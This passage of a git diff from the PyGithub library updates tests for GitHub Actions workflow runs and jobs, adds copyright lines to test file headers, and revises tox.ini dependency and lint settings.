setUp(self): + super().setUp() + self.repo = self.g.get_repo("PyGithub/PyGithub") + self.job = self.repo.get_workflow_run(4205440316).jobs()[0] + + def testAttributes(self): + self.assertEqual(self.job.id, 11421878319) + self.assertEqual(self.job.run_id, 4205440316) + self.assertEqual( + self.job.run_url, + "https://api.github.com/repos/PyGithub/PyGithub/actions/runs/4205440316", + ) + self.assertEqual(self.job.node_id, "CR_kwDOGpsAJ88AAAACqMwILw") + self.assertEqual(self.job.head_sha, "06ec040b2eeef6c0316dd5abcda0608525a3f205") + self.assertEqual( + self.job.url, + "https://api.github.com/repos/PyGithub/PyGithub/actions/jobs/11421878319", + ) + self.assertEqual( + self.job.html_url, + "https://github.com/PyGithub/PyGithub/actions/runs/4205440316/jobs/7297536068", + ) + self.assertEqual(self.job.status, "completed") + self.assertEqual(self.job.conclusion, "success") + started_at = datetime(2023, 2, 17, 16, 3, 46, tzinfo=timezone.utc) + self.assertEqual(self.job.started_at, started_at) + completed_at = datetime(2023, 2, 17, 16, 4, 52, tzinfo=timezone.utc) + self.assertEqual(self.job.completed_at, completed_at) + self.assertEqual(self.job.name, "test (Python 3.7)") + self.assertEqual( + self.job.check_run_url, + "https://api.github.com/repos/PyGithub/PyGithub/check-runs/11421878319", + ) + self.assertListKeyEqual( + self.job.steps, + lambda s: s.name, + [ + "Set up job", + "Run actions/checkout@v2", + "Set up Python", + "Install tox", + "Run tests", + "Upload coverage to Codecov", + "Post Set up Python", + "Post Run actions/checkout@v2", + "Complete job", + ], + ) + self.assertEqual( + self.job.logs_url(), + "https://pipelines.actions.githubusercontent.com/serviceHosts/d560a817-28d4-4544-a539-eb35c2a56899/_apis/pipelines/1/runs/5/signedlogcontent/5?urlExpires=2023-03-15T17%3A02%3A58.1305046Z&urlSigningMethod=HMACV1&urlSignature=abcdefghijklmn", + ) diff --git a/tests/WorkflowRun.py b/tests/WorkflowRun.py index 0fc2024a4d..87a8f39ec8 100644 --- a/tests/WorkflowRun.py +++ b/tests/WorkflowRun.py @@ -1,6 +1,12 @@ ############################ Copyrights and license ############################ # # # Copyright 2020 Steve Kowalik # +# Copyright 2020 Yannick Jadoul # +# Copyright 2021 Steve Kowalik # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jeppe Fihl-Pearson # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # +# Copyright 2023 Sasha Chung <50770626+nuang-ee@users.noreply.github.com> # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -20,7 +26,7 @@ # # ################################################################################ -import datetime +from datetime import datetime, timezone from . import Framework @@ -29,83 +35,113 @@ class WorkflowRun(Framework.TestCase): def setUp(self): super().setUp() self.repo = self.g.get_repo("PyGithub/PyGithub") - self.workflow_run = self.repo.get_workflow_run(148274629) + self.workflow_run = self.repo.get_workflow_run(3881497935) def testAttributes(self): self.assertEqual( repr(self.workflow_run), - 'WorkflowRun(url="https://api.github.com/repos/PyGithub/PyGithub/actions/runs/148274629", id=148274629)', + 'WorkflowRun(url="https://api.github.com/repos/PyGithub/PyGithub/actions/runs/3881497935", id=3881497935)', ) - self.assertEqual(self.workflow_run.id, 148274629) - self.assertEqual(self.workflow_run.head_branch, "more-precise-typing") + self.assertEqual(self.workflow_run.id, 3881497935) + self.assertEqual(self.workflow_run.name, "CI") + self.assertEqual(self.workflow_run.head_branch, "feat/workflow-run") + self.assertEqual(self.workflow_run.head_sha, "c6e5cac67a58a4eb11f1f28567a77a6e2cc8ee98") + self.assertEqual(self.workflow_run.path, ".github/workflows/ci.yml") + self.assertEqual(self.workflow_run.display_title, "TEST PR") + self.assertEqual(self.workflow_run.run_number, 930) + self.assertEqual(self.workflow_run.run_attempt, 1) self.assertEqual( - self.workflow_run.head_sha, "f91c729d786efcc93db47dd755313a26172c105e" + self.workflow_run.run_started_at, + datetime(2023, 1, 10, 8, 24, 19, tzinfo=timezone.utc), ) - self.assertEqual(self.workflow_run.run_number, 162) self.assertEqual(self.workflow_run.event, "pull_request") self.assertEqual(self.workflow_run.status, "completed") - self.assertEqual(self.workflow_run.conclusion, "failure") - self.assertEqual(self.workflow_run.workflow_id, 1026390) + self.assertEqual(self.workflow_run.conclusion, "success") + self.assertEqual(self.workflow_run.workflow_id, 1903133) self.assertEqual( self.workflow_run.url, - "https://api.github.com/repos/PyGithub/PyGithub/actions/runs/148274629", + "https://api.github.com/repos/PyGithub/PyGithub/actions/runs/3881497935", ) self.assertEqual( self.workflow_run.html_url, - "https://github.com/PyGithub/PyGithub/actions/runs/148274629", + "https://github.com/PyGithub/PyGithub/actions/runs/3881497935", ) self.assertEqual(self.workflow_run.pull_requests, []) - created_at = datetime.datetime(2020, 6, 26, 4, 51, 26) + created_at = datetime(2023, 1, 10, 8, 24, 19, tzinfo=timezone.utc) self.assertEqual(self.workflow_run.created_at, created_at) - updated_at = datetime.datetime(2020, 6, 26, 4, 52, 59) + updated_at = datetime(2023, 1, 10, 8, 28, 20, tzinfo=timezone.utc) self.assertEqual(self.workflow_run.updated_at, updated_at) self.assertEqual( self.workflow_run.jobs_url, - "https://api.github.com/repos/PyGithub/PyGithub/actions/runs/148274629/jobs", + "https://api.github.com/repos/PyGithub/PyGithub/actions/runs/3881497935/jobs", ) self.assertEqual( self.workflow_run.logs_url, - "https://api.github.com/repos/PyGithub/PyGithub/actions/runs/148274629/logs", + "https://api.github.com/repos/PyGithub/PyGithub/actions/runs/3881497935/logs", ) self.assertEqual( self.workflow_run.check_suite_url, - "https://api.github.com/repos/PyGithub/PyGithub/check-suites/843925976", + "https://api.github.com/repos/PyGithub/PyGithub/check-suites/10279069747", ) self.assertEqual( self.workflow_run.artifacts_url, - "https://api.github.com/repos/PyGithub/PyGithub/actions/runs/148274629/artifacts", + "https://api.github.com/repos/PyGithub/PyGithub/actions/runs/3881497935/artifacts", ) self.assertEqual( self.workflow_run.cancel_url, - "https://api.github.com/repos/PyGithub/PyGithub/actions/runs/148274629/cancel", + "https://api.github.com/repos/PyGithub/PyGithub/actions/runs/3881497935/cancel", ) self.assertEqual( self.workflow_run.rerun_url, - "https://api.github.com/repos/PyGithub/PyGithub/actions/runs/148274629/rerun", + "https://api.github.com/repos/PyGithub/PyGithub/actions/runs/3881497935/rerun", ) self.assertEqual( self.workflow_run.workflow_url, - "https://api.github.com/repos/PyGithub/PyGithub/actions/workflows/1026390", + "https://api.github.com/repos/PyGithub/PyGithub/actions/workflows/1903133", ) - self.assertEqual(self.workflow_run.head_commit.message, "More precise typing") + self.assertEqual(self.workflow_run.head_commit.message, "add attribute 'name' on WorkflowRun") self.assertEqual(self.workflow_run.repository.name, "PyGithub") self.assertEqual(self.workflow_run.head_repository.name, "PyGithub") def test_timing(self): timing = self.workflow_run.timing() - self.assertEqual(timing.billable, {}) - self.assertEqual(timing.run_duration_ms, 105000) + self.assertEqual( + timing.billable, + { + "UBUNTU": { + "job_runs": [ + {"duration_ms": 0, "job_id": 10545727758}, + {"duration_ms": 0, "job_id": 10545727888}, + {"duration_ms": 0, "job_id": 10545728039}, + {"duration_ms": 0, "job_id": 10545728190}, + {"duration_ms": 0, "job_id": 10545728356}, + ], + "jobs": 5, + "total_ms": 0, + } + }, + ) + self.assertEqual(timing.run_duration_ms, 241000) def test_rerun(self): - self.assertTrue(self.workflow_run.rerun()) + wr = self.repo.get_workflow_run(3910280793) + self.assertFalse(wr.rerun()) def test_rerun_with_successful_run(self): - wr = self.repo.get_workflow_run(145732882) + wr = self.repo.get_workflow_run(3881497935) self.assertFalse(wr.rerun()) def test_cancel(self): - self.assertTrue(self.workflow_run.cancel()) + wr = self.repo.get_workflow_run(3911660493) + self.assertFalse(wr.cancel()) def test_delete(self): - wr = self.repo.get_workflow_run(1327550476) - self.assertTrue(wr.delete()) + wr = self.repo.get_workflow_run(3881497935) + self.assertFalse(wr.delete()) + + def test_jobs(self): + self.assertListKeyEqual( + self.workflow_run.jobs(), + lambda j: j.id, + [10545727758, 10545727888, 10545728039, 10545728190, 10545728356], + ) diff --git a/tests/__init__.py b/tests/__init__.py index 6b87e3610b..4acae21817 100644 --- a/tests/__init__.py +++ b/tests/__init__.py @@ -6,6 +6,9 @@ # Copyright 2014 Vincent Jacques # # Copyright 2016 Peter Buckley # # Copyright 2018 sfdye # +# Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># +# Copyright 2020 Steve Kowalik # +# Copyright 2023 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # diff --git a/tests/conftest.py b/tests/conftest.py index 2d5c77f33a..5665f4cade 100644 --- a/tests/conftest.py +++ b/tests/conftest.py @@ -1,6 +1,19 @@ ############################ Copyrights and license ############################ # # +# Copyright 2012 Vincent Jacques # +# Copyright 2012 Zearin # +# Copyright 2013 Vincent Jacques # +# Copyright 2014 Vincent Jacques # +# Copyright 2016 Matthew Neal # +# Copyright 2016 Peter Buckley # +# Copyright 2016 Sam Corbett # +# Copyright 2018 sfdye # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># +# Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -25,9 +38,7 @@ def pytest_addoption(parser): parser.addoption("--record", action="store_true", help="record mode") - parser.addoption( - "--auth_with_token", action="store_true", help="auth using a token" - ) + parser.addoption("--auth_with_token", action="store_true", help="auth using a token") parser.addoption("--auth_with_jwt", action="store_true", help="auth using JWT") diff --git a/tox.ini b/tox.ini index f4346521c9..6a4743d214 100644 --- a/tox.ini +++ b/tox.ini @@ -5,25 +5,25 @@ envlist = docs [gh-actions] +# this make sure each ci job only run tests once. +# keey it sync with workflows/ci.yaml matrix python = 3.7: py37 - 3.8: py38, docs, lint + 3.8: py38 3.9: py39 3.10: py310 3.11: py311 [testenv] -deps = -rtest-requirements.txt +deps = -rrequirements/test.txt commands = pytest --cov=github --cov-report=xml {posargs} [testenv:lint] basepython = python3.8 skip_install = true deps = - types-jwt - types-requests + -r requirements/types.txt pre-commit - mypy commands = pre-commit run --all-files --show-diff-on-failure ; Run mypy outside pre-commit because pre-commit runs mypy in a venv @@ -33,15 +33,5 @@ commands = [testenv:docs] basepython = python3.8 skip_install = true -deps = -rrequirements.txt commands = sphinx-build doc build - -[flake8] -max-line-length = 88 -select = C,E,F,W -ignore = E266, E501, W503 - -[mypy] -python_version = 3.8 -ignore_missing_imports = True -namespace_packages = True +allowlist_externals = sphinx-build